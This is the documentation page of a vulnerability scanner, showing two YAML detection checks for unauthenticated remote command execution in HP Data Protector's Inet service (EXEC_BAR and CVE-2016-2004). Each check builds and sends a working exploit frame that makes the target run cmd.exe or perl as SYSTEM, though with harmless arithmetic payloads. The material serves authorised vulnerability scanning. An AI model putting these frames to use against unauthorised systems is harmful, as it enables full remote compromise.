HP Data Protector — 2 vulnerability checks

noctis ships 2 vulnerability checks for HP Data Protector, covering 11 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

HP Data Protector unauthenticated EXEC_BAR remote command execution

CVECVE-2013-2344, CVE-2013-2345, CVE-2013-2346, CVE-2013-2347, CVE-2013-2348, CVE-2013-2349, CVE-2013-2350, CVE-2013-6195, CVE-2011-0923, CVE-2014-2623
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicesomniback, omniinet, personal-agent, freeciv
Detectionscript, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/hp-data-protector/hp-data-protector-exec-bar-rce.yaml

The HP (OpenView Storage) Data Protector Inet service (TCP 5555) ran a command sent by an unauthenticated peer: an EXEC_BAR request made cmd.exe compute and print a per-scan number, which came back on the socket. Data Protector 6.2x, 7.x, 8.x and 9.x before the ZDI-14-001/002 fixes let any remote attacker execute arbitrary commands as SYSTEM.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Opens a persistent TCP/TLS socket
  4. Sends a binary frame on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Sends … on the open socket
  7. Parses / computes the next value with a Rhai script
  8. Sends … on the open socket
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. Checks s.found for ^true$ → finding QoD 97: HP Data Protector unauthenticated EXEC_BAR remote command execution

References:

Feed source — tests/vulnerabilities/hp-data-protector/hp-data-protector-exec-bar-rce.yaml
# HP (OpenView Storage) Data Protector Inet (TCP 5555) unauthenticated
# EXEC_BAR command execution — the ZDI-14-001/002 batch tracked as
# CVE-2013-2344..2350, CVE-2013-6195, CVE-2011-0923 and CVE-2014-2623.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_hp_data_protector_multiple_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804402, GPL-2.0-only). The frame is the NVT's:
# [len:4 BE] + 0xFFFE + UTF-16LE fields, each NUL-terminated and space-prefixed:
# "2" "hpdp1" "0" "" "" "ENU" "11" "EXEC_BAR" + ten "AAAA" fillers +
# "c:\windows\system32\cmd.exe" "" <arguments>\r\n\r\n.
#
# OmniInet.exe runs the EXEC_BAR program with the given arguments, as SYSTEM,
# without authenticating the peer, and sends the program's output back on the
# same socket.
#
# INTRUSIVE — REAL, BENIGN EXPLOITATION. The feed sends ONE EXEC_BAR frame that
# makes cmd.exe run
#     /c set /a A*B
# where A and B are random 4-digit numbers chosen per scan. cmd.exe prints the
# product A*B (computed by the target) and exits: nothing is written, nothing
# persists, no account is touched. The finding fires only when the reply
# carries the product as a standalone number (ASCII or UTF-16LE) — the product
# is never in the request, so a service that echoes the frame back ("A*B")
# does not match. The arguments carry no cmd metacharacter (no "&", quotes or
# redirection), like the NVT's, so they work however the agent builds the
# command line.
#
# Better than the OpenVAS NVT:
#   - the NVT runs `net user usr p@ss!23 /help` and requires the English help
#     text ("NET USER" + "The name of the user account can have"), so it misses
#     every non-English Windows; the computed number is locale-independent;
#   - the number is computed by the target (arithmetic), which proves execution
#     rather than a string the target might return anyway;
#   - output split across several Inet frames or reads is matched: the raw
#     reply bytes are accumulated and searched, so a frame length prefix or a
#     NUL terminator next to the number cannot break or fake the match.
#   - the frame declares its exact length (0x14a for this payload); the NVT
#     declares 316 bytes for its 326-byte payload, so its trailing CRLF/NUL
#     terminators are not counted. The exact length is the protocol's rule but
#     has not been checked against a live agent (none available).
#
# Limits:
#   - Windows agents only (cmd.exe path, like the NVT); a UNIX agent does not
#     produce the number (false negative, no false positive).
#   - an engine read gives up after 500 ms without a first byte (#1336): the
#     socket stays open (tcp_open) and, while the number has not been seen, the
#     feed waits and reads again twice (2 s, then 3 s) with an empty tcp_send —
#     the command still runs exactly once. Output later than ~6 s is missed
#     (the NVT waits 7 s, but for the slower `net user /help`).
uid: 786bcf8b-a268-4826-a33f-47c61055f7ae
name: "HP Data Protector unauthenticated EXEC_BAR remote command execution"
description: |
  The HP (OpenView Storage) Data Protector Inet service (TCP 5555) ran a
  command sent by an unauthenticated peer: an EXEC_BAR request made cmd.exe
  compute and print a per-scan number, which came back on the socket.
  Data Protector 6.2x, 7.x, 8.x and 9.x before the ZDI-14-001/002 fixes let any
  remote attacker execute arbitrary commands as SYSTEM.
cves: [CVE-2013-2344, CVE-2013-2345, CVE-2013-2346, CVE-2013-2347, CVE-2013-2348, CVE-2013-2349, CVE-2013-2350, CVE-2013-6195, CVE-2011-0923, CVE-2014-2623]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [hp, hpe, data-protector, omniback, rce, intrusive, tcp-5555, windows, exec-bar]
# nmap-service-probes names the Data Protector Inet service "omniback" or
# "omniinet"; an unidentified TCP 5555 falls back to the nmap-services name
# "personal-agent" ("freeciv" in older lists).
services: [omniback, omniinet, personal-agent, freeciv]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-2347"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-0923"
  - "https://www.zerodayinitiative.com/advisories/ZDI-14-001"
  - "https://www.zerodayinitiative.com/advisories/ZDI-14-002"
  - "https://seclists.org/bugtraq/2014/Jan/7"
  - "https://packetstormsecurity.com/files/125246"

steps:
  # 1 — build the EXEC_BAR frame. "|" stands for a UTF-16 NUL while building.
  #     A and B are random so the expected output differs on every scan and
  #     never appears in the frame.
  - id: build-frame
    action: script
    store_as: x
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      let args = "/c set /a " + a + "*" + b;
      let fields = "2| hpdp1| 0| | | ENU| 11| EXEC_BAR|";
      for i in 0..10 { fields += " AAAA|"; }
      fields += " c:\\windows\\system32\\cmd.exe| | " + args + "\r\n\r\n||";
      let body = "fffe";
      for c in fields.chars() {
        if c == '|' { body += "0000"; } else { body += hexstr(c.to_string()) + "00"; }
      }
      let product = "" + (a * b);
      let u16 = "";
      for c in product.chars() { u16 += hexstr(c.to_string()) + "00"; }
      #{
        frame: p32be(strlen(body) / 2) + body,
        product: product,
        p_hex: hexstr(product),
        p_u16: u16,
        args: args
      }

  # Accumulated reply text, read by every scan step below.
  - id: init-state
    action: script
    store_as: s
    code: |
      #{ found: false, hex: "", text: "" }

  # 2 — keep one socket for the whole exchange: the agent answers only after
  #     cmd.exe has run, which can outlast one 500 ms read.
  - id: open-inet
    action: tcp_open
    handle: dp
    port: "{{port}}"
    timeout_secs: 10
    store_as: conn

  # 3 — ONE EXEC_BAR frame, no prior handshake (the vulnerable agent does not
  #     authenticate).
  - id: exec-bar
    action: tcp_send
    handle: dp
    condition: "conn.connected == true"
    send_hex: "{{x.frame}}"
    timeout_secs: 10
    store_as: r1

  # Look for the product in everything read so far, as ASCII or UTF-16LE, at a
  # byte boundary and not glued to another digit (a standalone number). The
  # raw bytes are used, not the text, so a NUL terminator or the next frame's
  # length prefix can never merge with it.
  - id: scan-r1
    action: script
    condition: "conn.connected == true"
    store_as: s
    code: |
      let h = s.hex + (if type_of(r1.response_hex) == "string" { tolower(r1.response_hex) } else { "" });
      let t = s.text + (if type_of(r1.response) == "string" { r1.response } else { "" });
      let found = false;
      for m in [x.p_hex, x.p_u16] {
        let w = if m == x.p_u16 { 4 } else { 2 };
        let digit = if w == 2 { "^3[0-9]$" } else { "^3[0-9]00$" };
        let i = h.index_of(m);
        while i >= 0 && !found {
          let before = if i >= w { h.sub_string(i - w, w) } else { "" };
          let j = i + m.len();
          let after = if j + w <= h.len() { h.sub_string(j, w) } else { "" };
          if i % 2 == 0 && !ereg(digit, before) && !ereg(digit, after) { found = true; } else { i = h.index_of(m, i + 1); }
        }
      }
      #{ found: found, hex: h, text: t }

  # 4 — late output: wait, then read again on the same socket without sending
  #     anything (an empty tcp_send only reads). The command is not re-run.
  - id: wait-1
    action: sleep
    condition: "conn.connected == true && s.found == false"
    duration_ms: 2000

  - id: read-late-1
    action: tcp_send
    handle: dp
    condition: "conn.connected == true && s.found == false"
    timeout_secs: 10
    store_as: r2

  - id: scan-r2
    action: script
    condition: "conn.connected == true && s.found == false"
    store_as: s
    code: |
      let h = s.hex + (if type_of(r2.response_hex) == "string" { tolower(r2.response_hex) } else { "" });
      let t = s.text + (if type_of(r2.response) == "string" { r2.response } else { "" });
      let found = false;
      for m in [x.p_hex, x.p_u16] {
        let w = if m == x.p_u16 { 4 } else { 2 };
        let digit = if w == 2 { "^3[0-9]$" } else { "^3[0-9]00$" };
        let i = h.index_of(m);
        while i >= 0 && !found {
          let before = if i >= w { h.sub_string(i - w, w) } else { "" };
          let j = i + m.len();
          let after = if j + w <= h.len() { h.sub_string(j, w) } else { "" };
          if i % 2 == 0 && !ereg(digit, before) && !ereg(digit, after) { found = true; } else { i = h.index_of(m, i + 1); }
        }
      }
      #{ found: found, hex: h, text: t }

  - id: wait-2
    action: sleep
    condition: "conn.connected == true && s.found == false"
    duration_ms: 3000

  - id: read-late-2
    action: tcp_send
    handle: dp
    condition: "conn.connected == true && s.found == false"
    timeout_secs: 10
    store_as: r3

  - id: scan-r3
    action: script
    condition: "conn.connected == true && s.found == false"
    store_as: s
    code: |
      let h = s.hex + (if type_of(r3.response_hex) == "string" { tolower(r3.response_hex) } else { "" });
      let t = s.text + (if type_of(r3.response) == "string" { r3.response } else { "" });
      let found = false;
      for m in [x.p_hex, x.p_u16] {
        let w = if m == x.p_u16 { 4 } else { 2 };
        let digit = if w == 2 { "^3[0-9]$" } else { "^3[0-9]00$" };
        let i = h.index_of(m);
        while i >= 0 && !found {
          let before = if i >= w { h.sub_string(i - w, w) } else { "" };
          let j = i + m.len();
          let after = if j + w <= h.len() { h.sub_string(j, w) } else { "" };
          if i % 2 == 0 && !ereg(digit, before) && !ereg(digit, after) { found = true; } else { i = h.index_of(m, i + 1); }
        }
      }
      #{ found: found, hex: h, text: t }

  - id: close-inet
    action: tcp_close
    handle: dp

  # Printable reply text for the evidence.
  - id: reply-text
    action: script
    condition: "s.found == true"
    store_as: out
    code: |
      let t = ereg_replace("[^ -~]+", " ", ereg_replace("\\x00", "", s.text));
      if strlen(t) > 200 { t = substr(t, 0, 199); }
      t

  - id: check-exec
    action: match
    source: s.found
    pattern: "^true$"
    condition: "s.found == true"
    on_match:
      finding:
        title: "HP Data Protector unauthenticated EXEC_BAR remote command execution"
        description: "The Data Protector Inet service ran an unauthenticated EXEC_BAR request: cmd.exe computed and printed the per-scan product {{x.product}}, which is not in the request, confirming remote command execution as SYSTEM."
        remediation: "Apply the HP Data Protector patches for ZDI-14-001/002 (CVE-2013-2344..2350, CVE-2013-6195, CVE-2011-0923, CVE-2014-2623) or upgrade to a fixed release, and restrict TCP 5555 to the Cell Manager."
        confidence_delta: 0.65
        qod: 97
        evidence: "EXEC_BAR cmd.exe {{x.args}} on TCP {{port}} returned the computed product {{x.product}}; reply text: {{out}}"

HPE Data Protector unauthenticated EXEC_CMD remote command execution

CVECVE-2016-2004
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Servicesomniback, omniinet, personal-agent, freeciv
Detectionscript, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/hp-data-protector/CVE-2016-2004.yaml

The HPE Data Protector Inet service (TCP 5555) ran a command sent by an unauthenticated peer: an EXEC_CMD request made the agent's bundled perl compute and print a per-scan marker, which came back on the socket. Data Protector before 7.03_108, 8.x before 8.15 and 9.x before 9.06 do not authenticate users, even with Encrypted Control Communications enabled, so any remote attacker can execute arbitrary commands as SYSTEM.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Opens a persistent TCP/TLS socket
  4. Sends a binary frame on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Sends … on the open socket
  7. Parses / computes the next value with a Rhai script
  8. Sends … on the open socket
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. Checks s.found for ^true$ → finding QoD 97: HPE Data Protector unauthenticated EXEC_CMD remote command execution (CVE-2016-2004)

References:

Feed source — tests/vulnerabilities/hp-data-protector/CVE-2016-2004.yaml
# HPE Data Protector Inet (TCP 5555) unauthenticated EXEC_CMD — CVE-2016-2004.
#
# Ported from OpenVAS/Greenbone NVT
# 2016/gb_hp_data_protector_encry_comm_arbi_code_exec_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.808540, GPL-2.0-only); the frame layout is the
# same as the Nuclei template network/cves/2016/CVE-2016-2004.yaml and the
# Metasploit module exploits/windows/misc/hp_dataprotector_encrypted_comms.rb.
#
# The Data Protector Inet service does not authenticate the peer before
# running an EXEC_CMD request (opcode "28"): it starts a program from the
# Data Protector bin directory with attacker-chosen arguments, as SYSTEM.
#
# INTRUSIVE — REAL, BENIGN EXPLOITATION. The feed sends ONE EXEC_CMD frame
# that makes the agent run its bundled perl with
#     -eprint(q(NOCTIS).(A*B))
# where A and B are random 4-digit numbers chosen per scan. perl prints
# "NOCTIS" followed by the product A*B and exits: nothing is written, nothing
# persists, no data leaves the host. The agent sends the command's stdout back
# on the same socket (UTF-16LE, after a 0xFFFE mark). The finding fires only
# when the reply carries "NOCTIS<A*B>" — the product is never in the request,
# so a service that echoes or reflects the frame does not match. The argument
# has no spaces, so it survives however the agent splits the command line.
#
# Better than the OpenVAS NVT:
#   - the NVT runs `ipconfig` and requires the English strings
#     "Windows IP Configuration" + "Ethernet adapter Local Area Connection",
#     so it misses non-English Windows and Windows 2012+ (whose adapters are
#     named "Ethernet"/"Ethernet0"); the computed marker is locale- and
#     adapter-independent;
#   - the marker is computed by the target (arithmetic collapse), which proves
#     execution rather than a string the target might return anyway;
#   - matched both as ASCII and as UTF-16LE, byte-aligned.
#
# Limits:
#   - an agent configured with Encrypted Control Communications only answers
#     after a TLS upgrade inside the Inet session (the Metasploit module sends
#     an init frame, then starts TLS on the same socket). The engine has no
#     mid-stream TLS upgrade yet, so such agents are NOT tested here (false
#     negative, no false positive) — engine feature request #1837.
#   - the agent only answers once perl has started and exited, which can
#     take seconds on a loaded host, while an engine read gives up after
#     500 ms without a first byte (#1336). The feed therefore keeps the socket
#     open (tcp_open) and, while the marker has not been seen, waits and reads
#     again twice (2 s, then 3 s) with an empty tcp_send — the command still
#     runs exactly once. Output later than ~6 s is missed (false negative).
#   - Windows agents only in practice (the NVT and the exploit target
#     `\perl.exe`); a UNIX agent simply does not produce the marker.
uid: 5ce533a6-79b2-4e13-bee9-98a3ea4e23e8
name: "HPE Data Protector unauthenticated EXEC_CMD remote command execution (CVE-2016-2004)"
description: |
  The HPE Data Protector Inet service (TCP 5555) ran a command sent by an
  unauthenticated peer: an EXEC_CMD request made the agent's bundled perl
  compute and print a per-scan marker, which came back on the socket.
  Data Protector before 7.03_108, 8.x before 8.15 and 9.x before 9.06 do not
  authenticate users, even with Encrypted Control Communications enabled, so
  any remote attacker can execute arbitrary commands as SYSTEM.
cves: [CVE-2016-2004]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [hp, hpe, data-protector, omniback, rce, intrusive, tcp-5555, windows]
# nmap-service-probes names the Data Protector Inet service "omniback" or
# "omniinet" (Windows agents, UTF-16 banner); an unidentified TCP 5555 falls
# back to the nmap-services name "personal-agent" ("freeciv" in older lists).
services: [omniback, omniinet, personal-agent, freeciv]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-2004"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2016/CVE-2016-2004.yaml"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb"

steps:
  # 1 — build the EXEC_CMD frame: [len:4 BE] + the fixed Inet header ending in
  #     opcode "28" + "\perl.exe" NUL " " <argument> NUL. A and B are random so
  #     the expected output differs on every scan and never appears in the frame.
  - id: build-frame
    action: script
    store_as: x
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      let arg = "-eprint(q(NOCTIS).(" + a + "*" + b + "))";
      let body = "32000101010101010001000100010001010020323800"
        + hexstr("\\perl.exe") + "0020" + hexstr(arg) + "00";
      let marker = "NOCTIS" + (a * b);
      let u16 = "";
      for c in marker.chars() { u16 += hexstr(c.to_string()) + "00"; }
      #{
        frame: p32be(strlen(body) / 2) + body,
        marker: marker,
        marker_hex: hexstr(marker),
        marker_u16: u16
      }

  # Accumulated reply state, read by every scan step below.
  - id: init-state
    action: script
    store_as: s
    code: |
      #{ found: false, hex: "", text: "" }

  # 2 — keep one socket for the whole exchange: the agent answers only after
  #     perl has run, which can outlast one 500 ms read.
  - id: open-inet
    action: tcp_open
    handle: dp
    port: "{{port}}"
    timeout_secs: 10
    store_as: conn

  # 3 — ONE EXEC_CMD frame, no prior handshake (the vulnerable agent does not
  #     authenticate).
  - id: exec-cmd
    action: tcp_send
    handle: dp
    condition: "conn.connected == true"
    send_hex: "{{x.frame}}"
    timeout_secs: 10
    store_as: r1

  # Look for the computed marker in everything read so far, as ASCII or
  #     UTF-16LE, at a byte boundary (even hex offset).
  - id: scan-r1
    action: script
    condition: "conn.connected == true"
    store_as: s
    code: |
      let h = s.hex + (if type_of(r1.response_hex) == "string" { tolower(r1.response_hex) } else { "" });
      let t = s.text + (if type_of(r1.response) == "string" { r1.response } else { "" });
      let found = false;
      for m in [x.marker_hex, x.marker_u16] {
        let i = h.index_of(m);
        while i >= 0 && !found {
          if i % 2 == 0 { found = true; } else { i = h.index_of(m, i + 1); }
        }
      }
      #{ found: found, hex: h, text: t }

  # 4 — late output: wait, then read again on the same socket without sending
  #     anything (an empty tcp_send only reads). The command is not re-run.
  - id: wait-1
    action: sleep
    condition: "conn.connected == true && s.found == false"
    duration_ms: 2000

  - id: read-late-1
    action: tcp_send
    handle: dp
    condition: "conn.connected == true && s.found == false"
    timeout_secs: 10
    store_as: r2

  - id: scan-r2
    action: script
    condition: "conn.connected == true && s.found == false"
    store_as: s
    code: |
      let h = s.hex + (if type_of(r2.response_hex) == "string" { tolower(r2.response_hex) } else { "" });
      let t = s.text + (if type_of(r2.response) == "string" { r2.response } else { "" });
      let found = false;
      for m in [x.marker_hex, x.marker_u16] {
        let i = h.index_of(m);
        while i >= 0 && !found {
          if i % 2 == 0 { found = true; } else { i = h.index_of(m, i + 1); }
        }
      }
      #{ found: found, hex: h, text: t }

  - id: wait-2
    action: sleep
    condition: "conn.connected == true && s.found == false"
    duration_ms: 3000

  - id: read-late-2
    action: tcp_send
    handle: dp
    condition: "conn.connected == true && s.found == false"
    timeout_secs: 10
    store_as: r3

  - id: scan-r3
    action: script
    condition: "conn.connected == true && s.found == false"
    store_as: s
    code: |
      let h = s.hex + (if type_of(r3.response_hex) == "string" { tolower(r3.response_hex) } else { "" });
      let t = s.text + (if type_of(r3.response) == "string" { r3.response } else { "" });
      let found = false;
      for m in [x.marker_hex, x.marker_u16] {
        let i = h.index_of(m);
        while i >= 0 && !found {
          if i % 2 == 0 { found = true; } else { i = h.index_of(m, i + 1); }
        }
      }
      #{ found: found, hex: h, text: t }

  - id: close-inet
    action: tcp_close
    handle: dp

  # Printable reply text for the evidence (the output is UTF-16LE).
  - id: reply-text
    action: script
    condition: "s.found == true"
    store_as: out
    code: |
      let t = ereg_replace("[^ -~]", "", s.text);
      if strlen(t) > 200 { t = substr(t, 0, 199); }
      t

  - id: check-exec
    action: match
    source: s.found
    pattern: "^true$"
    condition: "s.found == true"
    on_match:
      finding:
        title: "HPE Data Protector unauthenticated EXEC_CMD remote command execution (CVE-2016-2004)"
        description: "The Data Protector Inet service ran an unauthenticated EXEC_CMD request: the agent's perl computed and printed the per-scan marker {{x.marker}}, confirming remote command execution (CVE-2016-2004)."
        remediation: "Upgrade HPE Data Protector to 7.03_108, 8.15, 9.06 or later (Encrypted Control Communications alone does not fix it), and restrict TCP 5555 to the Cell Manager."
        confidence_delta: 0.65
        qod: 97
        evidence: "EXEC_CMD perl -eprint(q(NOCTIS).(A*B)) on TCP {{port}} returned the computed marker {{x.marker}}; reply text: {{out}}"

View these feeds on GitHub